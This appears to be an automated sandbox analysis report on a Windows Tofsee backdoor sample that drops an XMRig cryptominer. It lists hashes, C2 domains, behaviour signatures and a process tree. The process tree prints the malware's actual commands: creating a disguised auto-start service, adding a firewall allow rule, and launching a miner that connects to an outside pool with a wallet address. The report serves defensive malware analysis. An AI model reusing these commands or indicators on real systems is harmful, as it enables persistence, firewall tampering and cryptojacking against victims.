Analysis

  • max time kernel
    140s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    16/03/2023, 12:40

General

  • Target

    file.exe

  • Size

    173KB

  • MD5

    15ff2e133cf2a118b4dfcfebe26cc2d1

  • SHA1

    c303ada89afdaeba1ee50c98bd1b547f28c45ef0

  • SHA256

    0557d5383704424bd7ca3b63b948e3bf47f869f5bf782142deab956c27f447f5

  • SHA512

    90156fc077432af7d0b11782289c67e4421aa6e68638bb513a6a636a8de8d2588ca5ab17528ecd02c1cb8248521cfead2693b9add3bedbf47d7c0c041c1cbc87

  • SSDEEP

    3072:oDf+n4MRz4MFb3FvhbR9JWQUrF3PFIn9jrsbYcXJX:sg9fbVvhfcgjIn

Malware Config

Extracted

Family

tofsee

C2

muspelheim.be

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1704
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xjnpvwfw\
      2⤵
        PID:2012
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jtrcsdra.exe" C:\Windows\SysWOW64\xjnpvwfw\
        2⤵
          PID:872
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xjnpvwfw binPath= "C:\Windows\SysWOW64\xjnpvwfw\jtrcsdra.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1152
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description xjnpvwfw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1124
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start xjnpvwfw
          2⤵
          • Launches sc.exe
          PID:1504
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1396
      • C:\Windows\SysWOW64\xjnpvwfw\jtrcsdra.exe
        C:\Windows\SysWOW64\xjnpvwfw\jtrcsdra.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1760
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1640
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1488

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\jtrcsdra.exe

        Filesize

        11.6MB

        MD5

        51eae09119b5d86e0c37e5e039e3022b

        SHA1

        ee744054ec1c2dc4fafc9ae87994fa1093a30837

        SHA256

        ae8e05630c3d78f341ca3cebe416a69a74b812ac0e81ecbea70583283ae4f8d7

        SHA512

        da0a26d01f8cf1042dcce5f3b8dc1f306bcbd5aa79cd626d263654f774420d616f1904dda07560d184cb48ea7ba7996a88754b626bf5e9a0f06de245c4051ebb

      • C:\Windows\SysWOW64\xjnpvwfw\jtrcsdra.exe

        Filesize

        11.6MB

        MD5

        51eae09119b5d86e0c37e5e039e3022b

        SHA1

        ee744054ec1c2dc4fafc9ae87994fa1093a30837

        SHA256

        ae8e05630c3d78f341ca3cebe416a69a74b812ac0e81ecbea70583283ae4f8d7

        SHA512

        da0a26d01f8cf1042dcce5f3b8dc1f306bcbd5aa79cd626d263654f774420d616f1904dda07560d184cb48ea7ba7996a88754b626bf5e9a0f06de245c4051ebb

      • memory/1488-111-0x0000000000210000-0x0000000000301000-memory.dmp

        Filesize

        964KB

      • memory/1488-122-0x0000000000210000-0x0000000000301000-memory.dmp

        Filesize

        964KB

      • memory/1488-124-0x0000000000210000-0x0000000000301000-memory.dmp

        Filesize

        964KB

      • memory/1488-123-0x0000000000210000-0x0000000000301000-memory.dmp

        Filesize

        964KB

      • memory/1488-121-0x0000000000210000-0x0000000000301000-memory.dmp

        Filesize

        964KB

      • memory/1488-120-0x0000000000210000-0x0000000000301000-memory.dmp

        Filesize

        964KB

      • memory/1488-119-0x0000000000210000-0x0000000000301000-memory.dmp

        Filesize

        964KB

      • memory/1488-112-0x0000000000210000-0x0000000000301000-memory.dmp

        Filesize

        964KB

      • memory/1640-87-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-93-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-74-0x0000000001850000-0x0000000001A5F000-memory.dmp

        Filesize

        2.1MB

      • memory/1640-75-0x0000000000150000-0x0000000000156000-memory.dmp

        Filesize

        24KB

      • memory/1640-78-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-81-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-82-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-83-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-84-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-85-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-86-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-88-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1640-89-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-90-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-91-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-92-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-71-0x0000000001850000-0x0000000001A5F000-memory.dmp

        Filesize

        2.1MB

      • memory/1640-94-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-95-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-96-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-97-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1640-98-0x0000000000210000-0x0000000000215000-memory.dmp

        Filesize

        20KB

      • memory/1640-101-0x0000000000210000-0x0000000000215000-memory.dmp

        Filesize

        20KB

      • memory/1640-102-0x00000000058B0000-0x0000000005CBB000-memory.dmp

        Filesize

        4.0MB

      • memory/1640-105-0x00000000058B0000-0x0000000005CBB000-memory.dmp

        Filesize

        4.0MB

      • memory/1640-106-0x0000000000320000-0x0000000000327000-memory.dmp

        Filesize

        28KB

      • memory/1640-110-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1640-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1640-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1640-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1640-60-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1640-62-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1704-66-0x0000000000400000-0x00000000004AB000-memory.dmp

        Filesize

        684KB

      • memory/1704-56-0x00000000002A0000-0x00000000002B3000-memory.dmp

        Filesize

        76KB

      • memory/1760-65-0x0000000000400000-0x00000000004AB000-memory.dmp

        Filesize

        684KB